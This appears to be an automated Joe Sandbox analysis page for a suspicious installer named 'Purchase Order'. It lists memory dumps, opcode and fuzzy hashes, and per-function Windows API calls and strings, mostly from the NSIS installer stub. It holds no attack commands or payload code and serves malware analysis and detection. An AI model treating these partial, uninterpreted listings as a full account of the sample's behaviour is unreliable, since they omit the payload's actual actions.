Memory Dump Source

Source File: 00000004.00000002.3386945525.0000000039D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d10000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa9157265b9cdc7007c5a11d2755672a9535f5051a9ec2f4584f5a6f5eeb4347
Instruction ID: c0866df731aa145c5dc2e488ffd325984bd6f6ad8176896368bb277a7ebe4db2
Opcode Fuzzy Hash: fa9157265b9cdc7007c5a11d2755672a9535f5051a9ec2f4584f5a6f5eeb4347
Instruction Fuzzy Hash: 36C1CF74E00218CFDB54DFA9D981B9DBBB2BF89300F1081A9D809AB365DB359E85CF51

Function 0011FB03 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a920aac7cb8eabd50c26e4f69142f4859131930930087442e979915452bc8155
Instruction ID: d167374e4aead18ad74b962c3b4f9ee4a831f19c879a45a77c68338ac9dacdef
Opcode Fuzzy Hash: a920aac7cb8eabd50c26e4f69142f4859131930930087442e979915452bc8155
Instruction Fuzzy Hash: EAA17C74A01228CFDB68DF64C994BD9BBB2BB49300F1085EAD409A7260DB359EC2CF51

Function 0011FCE3 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46425e91bcaabf843159afb17139de985cfa9daa65e2acbace0f64a374bc28d2
Instruction ID: 1f3140a738acba8a1efd694dfc4995ea560ed5510862d3050dc1e6868a2e8cba
Opcode Fuzzy Hash: 46425e91bcaabf843159afb17139de985cfa9daa65e2acbace0f64a374bc28d2
Instruction Fuzzy Hash: 90518074A01229CFDB68DF24C854BD9B7B2BF4A305F5085E9D40AA7360CB359E82CF51

Function 0040524E Relevance: 54.3, APIs: 36, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004052AD
GetDlgItem.USER32(?,000003EE), ref: 004052BC
GetClientRect.USER32(?,?), ref: 004052F9
GetSystemMetrics.USER32(00000002), ref: 00405300
SendMessageA.USER32(?,0000101B,00000000,?), ref: 00405321
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405332
SendMessageA.USER32(?,00001001,00000000,?), ref: 00405345
SendMessageA.USER32(?,00001026,00000000,?), ref: 00405353
SendMessageA.USER32(?,00001024,00000000,?), ref: 00405366
ShowWindow.USER32(00000000,?,0000001B,?), ref: 00405388
ShowWindow.USER32(?,00000008), ref: 0040539C
GetDlgItem.USER32(?,000003EC), ref: 004053BD
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004053CD
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004053E6
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 004053F2
GetDlgItem.USER32(?,000003F8), ref: 004052CB

Part of subcall function 00404111: SendMessageA.USER32(00000028,?,00000001,00403F42), ref: 0040411F

GetDlgItem.USER32(?,000003EC), ref: 0040540E
CreateThread.KERNEL32(00000000,00000000,Function_000051E2,00000000), ref: 0040541C
CloseHandle.KERNEL32(00000000), ref: 00405423
ShowWindow.USER32(00000000), ref: 00405446
ShowWindow.USER32(?,00000008), ref: 0040544D
ShowWindow.USER32(00000008), ref: 00405493
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004054C7
CreatePopupMenu.USER32 ref: 004054D8
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 004054ED
GetWindowRect.USER32(?,000000FF), ref: 0040550D
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405526
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405562
OpenClipboard.USER32(00000000), ref: 00405572
EmptyClipboard.USER32 ref: 00405578
GlobalAlloc.KERNEL32(00000042,?), ref: 00405581
GlobalLock.KERNEL32(00000000), ref: 0040558B
SendMessageA.USER32(?,0000102D,00000000,?), ref: 0040559F
GlobalUnlock.KERNEL32(00000000), ref: 004055B8
SetClipboardData.USER32(00000001,00000000), ref: 004055C3
CloseClipboard.USER32 ref: 004055C9

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID:
API String ID: 590372296-0
Opcode ID: c64a89a41c0802a74bba5a78dd280d07ec270940df5a5324a2dbd363d8ad6a15
Instruction ID: e0dc4773203ce2f112709eab9a11bfc184f4d069c8d5349c47d5b80479340f4b
Opcode Fuzzy Hash: c64a89a41c0802a74bba5a78dd280d07ec270940df5a5324a2dbd363d8ad6a15
Instruction Fuzzy Hash: 10A148B1900208BFDF119F60DD89AAE7BB9FB48355F00407AFA01B61A0C7B55E51DF69

Function 00403C09 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C45
ShowWindow.USER32(?), ref: 00403C62
DestroyWindow.USER32 ref: 00403C76
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403C92
GetDlgItem.USER32(?,?), ref: 00403CB3
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403CC7
IsWindowEnabled.USER32(00000000), ref: 00403CCE
GetDlgItem.USER32(?,00000001), ref: 00403D7C
GetDlgItem.USER32(?,00000002), ref: 00403D86
SetClassLongA.USER32(?,000000F2,?), ref: 00403DA0
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403DF1
GetDlgItem.USER32(?,00000003), ref: 00403E97
ShowWindow.USER32(00000000,?), ref: 00403EB8
EnableWindow.USER32(?,?), ref: 00403ECA
EnableWindow.USER32(?,?), ref: 00403EE5
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403EFB
EnableMenuItem.USER32(00000000), ref: 00403F02
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403F1A
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403F2D
lstrlenA.KERNEL32(0041FD30,?,0041FD30,00422F20), ref: 00403F56
SetWindowTextA.USER32(?,0041FD30), ref: 00403F65
ShowWindow.USER32(?,0000000A), ref: 00404099

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: f52cdbaf3123b7cbd9944adc9014d9948be0515c381cedadf67d37a6be0de08c
Instruction ID: 2eb83949b6bd8974722fa043abbaf2d62199bae10e2b8edc7fb886fd11b27e7e
Opcode Fuzzy Hash: f52cdbaf3123b7cbd9944adc9014d9948be0515c381cedadf67d37a6be0de08c
Instruction Fuzzy Hash: 3EC1F2B1604201BBDB20AF61EE84E2B3ABCFB84305F51053EF611B11E1C7799842EB5E

Function 00404225 Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 205windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 004042B0
GetDlgItem.USER32(00000000,000003E8), ref: 004042C4
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 004042E2
GetSysColor.USER32(?), ref: 004042F3
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00404302
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404311
lstrlenA.KERNEL32(?), ref: 00404314
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404323
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404338
GetDlgItem.USER32(?,0000040A), ref: 0040439A
SendMessageA.USER32(00000000), ref: 0040439D
GetDlgItem.USER32(?,000003E8), ref: 004043C8
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 00404408
LoadCursorA.USER32(00000000,00007F02), ref: 00404417
SetCursor.USER32(00000000), ref: 00404420
ShellExecuteA.SHELL32(0000070B,open,004226C0,00000000,00000000,00000001), ref: 00404433
LoadCursorA.USER32(00000000,00007F00), ref: 00404440
SetCursor.USER32(00000000), ref: 00404443
SendMessageA.USER32(00000111,00000001,00000000), ref: 0040446F
SendMessageA.USER32(00000010,00000000,00000000), ref: 00404483

Strings

open, xrefs: 0040442B
N, xrefs: 004043B6

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: N$open
API String ID: 3615053054-904208323
Opcode ID: e76cc1a0ba7ef7f86ae8e4ee464b0340797726a5bea064de8fa3a19247962d01
Instruction ID: 93f755629d35b640548b5af6b7c61ab120d2ba211fed136cde477a70902604c8
Opcode Fuzzy Hash: e76cc1a0ba7ef7f86ae8e4ee464b0340797726a5bea064de8fa3a19247962d01
Instruction Fuzzy Hash: 5D61A3B1A40209BFEB109F61DC45F6A7B69FB84714F10803AFB057A2D1C7B8A951CF99

Function 00403877 Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406290: GetModuleHandleA.KERNEL32(?,?,?,00403329,00000009), ref: 004062A2
Part of subcall function 00406290: GetProcAddress.KERNEL32(00000000,?), ref: 004062BD

lstrcatA.KERNEL32(0042A000,0041FD30,80000001,Control Panel\Desktop\ResourceLocale,00000000,0041FD30,00000000,00000002,75923410,0042A400,00429000,00000000), ref: 004038F2
lstrlenA.KERNEL32(004226C0,?,?,?,004226C0,00000000,00429400,0042A000,0041FD30,80000001,Control Panel\Desktop\ResourceLocale,00000000,0041FD30,00000000,00000002,75923410), ref: 00403967
lstrcmpiA.KERNEL32(?,.exe), ref: 0040397A
GetFileAttributesA.KERNEL32(004226C0), ref: 00403985
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,00429400), ref: 004039CE

Part of subcall function 00405E55: wsprintfA.USER32 ref: 00405E62

RegisterClassA.USER32(00422EC0), ref: 00403A0B
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00403A23
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A58
ShowWindow.USER32(00000005,00000000), ref: 00403A8E
GetClassInfoA.USER32(00000000,RichEdit20A,00422EC0), ref: 00403ABA
GetClassInfoA.USER32(00000000,RichEdit,00422EC0), ref: 00403AC7
RegisterClassA.USER32(00422EC0), ref: 00403AD0
DialogBoxParamA.USER32(?,00000000,00403C09,00000000), ref: 00403AEF

Strings

RichEd32, xrefs: 00403AA2
RichEdit, xrefs: 00403AC1
Control Panel\Desktop\ResourceLocale, xrefs: 004038AB
RichEdit20A, xrefs: 00403AB2, 00403AB8
RichEd20, xrefs: 00403A94
.DEFAULT\Control Panel\International, xrefs: 004038DD
.exe, xrefs: 00403974
_Nb, xrefs: 004039EA, 00403A52

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 1975747703-2904746566
Opcode ID: acb9e1483f64e376554eea66f981f1d844e256060aa5afb508f73614915c59b6
Instruction ID: 29345e8072be8e75dc90901d6125d60d13300850aec60374d900494af90ecb47
Opcode Fuzzy Hash: acb9e1483f64e376554eea66f981f1d844e256060aa5afb508f73614915c59b6
Instruction Fuzzy Hash: 8161A4B06442407ED620AF65AD45F373A6CEB8474AF40447FF945B22E2C6BCAD029A3D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,00422F20,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 7c104425433eee9aa72c8594e5c9845c7e8c7dbb4814f5ad4226ea4ba1dd0cf1
Instruction ID: f6076547c65416f673289c9e9aa760257b54fe90aa12de16c0a46004740ece36
Opcode Fuzzy Hash: 7c104425433eee9aa72c8594e5c9845c7e8c7dbb4814f5ad4226ea4ba1dd0cf1
Instruction Fuzzy Hash: C2419B71804249AFCF058FA4CD459AFBBB9FF45310F00812AF961AA1A0C738EA50DFA5

Function 00405C40 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(00421AC0,NUL,?,00000000,?,00000000,00405DD3,?,?), ref: 00405C4F
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,00405DD3,?,?), ref: 00405C73
GetShortPathNameA.KERNEL32(?,00421AC0,00000400), ref: 00405C7C

Part of subcall function 00405ACF: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405ADF
Part of subcall function 00405ACF: lstrlenA.KERNEL32(00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B11

GetShortPathNameA.KERNEL32(00421EC0,00421EC0,00000400), ref: 00405C99
wsprintfA.USER32 ref: 00405CB7
GetFileSize.KERNEL32(00000000,00000000,00421EC0,C0000000,00000004,00421EC0,?,?,?,?,?), ref: 00405CF2
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405D01
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D39
SetFilePointer.KERNEL32(004093C8,00000000,00000000,00000000,00000000,004216C0,00000000,-0000000A,004093C8,00000000,[Rename],00000000,00000000,00000000), ref: 00405D8F
GlobalFree.KERNEL32(00000000), ref: 00405DA0
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405DA7

Part of subcall function 00405B6A: GetFileAttributesA.KERNEL32(00000003,00402D8D,0042AC00,80000000,00000003), ref: 00405B6E
Part of subcall function 00405B6A: CreateFileA.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B90

Strings

[Rename], xrefs: 00405D21, 00405D33
%s=%s, xrefs: 00405CAD
NUL, xrefs: 00405C49

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 222337774-4148678300
Opcode ID: 2e3f1d5478f9f0c6b3014663fcb7d6cbfaa562a2a519d3499902ae05c7337469
Instruction ID: 58b8e60db813422e8a8f05baf12fe1cb7cc397f7baf35d3febd204dd1aeecf15
Opcode Fuzzy Hash: 2e3f1d5478f9f0c6b3014663fcb7d6cbfaa562a2a519d3499902ae05c7337469
Instruction Fuzzy Hash: D031C271A04B596BD2202B219D49F6B3A6CDF85754F18003BF901F62D2E67CA8018EAD

Function 0040451A Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 274stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404569
SetWindowTextA.USER32(00000000,?), ref: 00404593
SHBrowseForFolderA.SHELL32(?,0041F108,?), ref: 00404644
CoTaskMemFree.OLE32(00000000), ref: 0040464F
lstrcmpiA.KERNEL32(004226C0,0041FD30), ref: 00404681
lstrcatA.KERNEL32(?,004226C0), ref: 0040468D
SetDlgItemTextA.USER32(?,000003FB,?), ref: 0040469F

Part of subcall function 004056D1: GetDlgItemTextA.USER32(?,?,00000400,004046D6), ref: 004056E4

Part of subcall function 00406162: CharNextA.USER32(?,*?|<>/":,00000000,00429000,75923410,0042A400,00000000,0040329A,0042A400,0042A400,004034AF), ref: 004061BA
Part of subcall function 00406162: CharNextA.USER32(?,?,?,00000000), ref: 004061C7
Part of subcall function 00406162: CharNextA.USER32(?,00429000,75923410,0042A400,00000000,0040329A,0042A400,0042A400,004034AF), ref: 004061CC
Part of subcall function 00406162: CharPrevA.USER32(?,?,75923410,0042A400,00000000,0040329A,0042A400,0042A400,004034AF), ref: 004061DC

GetDiskFreeSpaceA.KERNEL32(0041ED00,?,?,0000040F,?,0041ED00,0041ED00,?,00000001,0041ED00,?,?,000003FB,?), ref: 0040475D
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404778

Part of subcall function 004048D1: lstrlenA.KERNEL32(0041FD30,0041FD30,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004047EC,000000DF,00000000,00000400,?), ref: 0040496F
Part of subcall function 004048D1: wsprintfA.USER32 ref: 00404977
Part of subcall function 004048D1: SetDlgItemTextA.USER32(?,0041FD30), ref: 0040498A

Strings

A, xrefs: 0040463D

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: 4bae8adfc2f1ad16f51c5b997e9d1a132689266bb2bfdcf495d627e6f055046e
Instruction ID: 7ea719a0b93bcaca37b111b678a2b5d6f3f78fc0ed79788128ac85d93e839f9f
Opcode Fuzzy Hash: 4bae8adfc2f1ad16f51c5b997e9d1a132689266bb2bfdcf495d627e6f055046e
Instruction Fuzzy Hash: D5A18EB1900209ABDB11AFA5CC45AAFB7B8EF85314F10843BF711B62D1D77C8A418F69

Function 00402D4A Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402D5E
GetModuleFileNameA.KERNEL32(00000000,0042AC00,00000400), ref: 00402D7A

Part of subcall function 00405B6A: GetFileAttributesA.KERNEL32(00000003,00402D8D,0042AC00,80000000,00000003), ref: 00405B6E
Part of subcall function 00405B6A: CreateFileA.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B90

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,00429C00,00429C00,0042AC00,0042AC00,80000000,00000003), ref: 00402DC3
GlobalAlloc.KERNEL32(00000040,00409130), ref: 00402F0A

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402FA1
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402F53
Null, xrefs: 00402E43
Error launching installer, xrefs: 00402D9A
soft, xrefs: 00402E3A
Inst, xrefs: 00402E31

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 2803837635-3016655952
Opcode ID: 6949a2dc81abe6ae8ca3848ee1a274e905e25326872c2b53de3725809208b6fc
Instruction ID: 1e54d23c6bd4663b885b54a46d63d50a2b02afe17d1d0705d7bda66adc4b1b0c
Opcode Fuzzy Hash: 6949a2dc81abe6ae8ca3848ee1a274e905e25326872c2b53de3725809208b6fc
Instruction Fuzzy Hash: 6661E5B1A40215ABDF20AF64DE89A9E76B8EB04355F11413FF904B72C1C7BC9D418B9C

Function 00405F19 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 199stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,0041F510,00000000,00405148,0041F510,00000000), ref: 00405FCA
GetSystemDirectoryA.KERNEL32(004226C0,00000400), ref: 00406045
GetWindowsDirectoryA.KERNEL32(004226C0,00000400), ref: 00406058
SHGetSpecialFolderLocation.SHELL32(?,00000000), ref: 00406094
SHGetPathFromIDListA.SHELL32(00000000,004226C0), ref: 004060A2
CoTaskMemFree.OLE32(00000000), ref: 004060AD
lstrcatA.KERNEL32(004226C0,\Microsoft\Internet Explorer\Quick Launch), ref: 004060CF
lstrlenA.KERNEL32(004226C0,?,0041F510,00000000,00405148,0041F510,00000000), ref: 00406121

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004060C9
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406014

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-730719616
Opcode ID: ecdefe2751fc2be78af5e26724b3c6b53ae81c07b092af95d9830a7abdf9c2ab
Instruction ID: 17f1afa1df4653d6aa239bb2462815deac18f6a32033811d9d8cd7bf3bfa2e02
Opcode Fuzzy Hash: ecdefe2751fc2be78af5e26724b3c6b53ae81c07b092af95d9830a7abdf9c2ab
Instruction Fuzzy Hash: 68613671A00111AEDF209F24CC84BBF3BA8EB45314F12813BE942BA2D1D77D4962DB5E

Function 00404143 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00404160
GetSysColor.USER32(00000000), ref: 0040417C
SetTextColor.GDI32(?,00000000), ref: 00404188
SetBkMode.GDI32(?,?), ref: 00404194
GetSysColor.USER32(?), ref: 004041A7
SetBkColor.GDI32(?,?), ref: 004041B7
DeleteObject.GDI32(?), ref: 004041D1
CreateBrushIndirect.GDI32(?), ref: 004041DB

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction ID: 7122de99037e03f190bb62226e04253736cb74e6c142f140589d3e5d77d1f23d
Opcode Fuzzy Hash: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction Fuzzy Hash: DB21A4B5804704ABCB219F78DD08B5BBBF8AF41714F048629E995E62E0C734E944CB55

Function 00405110 Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0041F510,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
lstrlenA.KERNEL32(00402D22,0041F510,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
lstrcatA.KERNEL32(0041F510,00402D22,00402D22,0041F510,00000000,00000000,00000000), ref: 0040516C
SetWindowTextA.USER32(0041F510,0041F510), ref: 0040517E
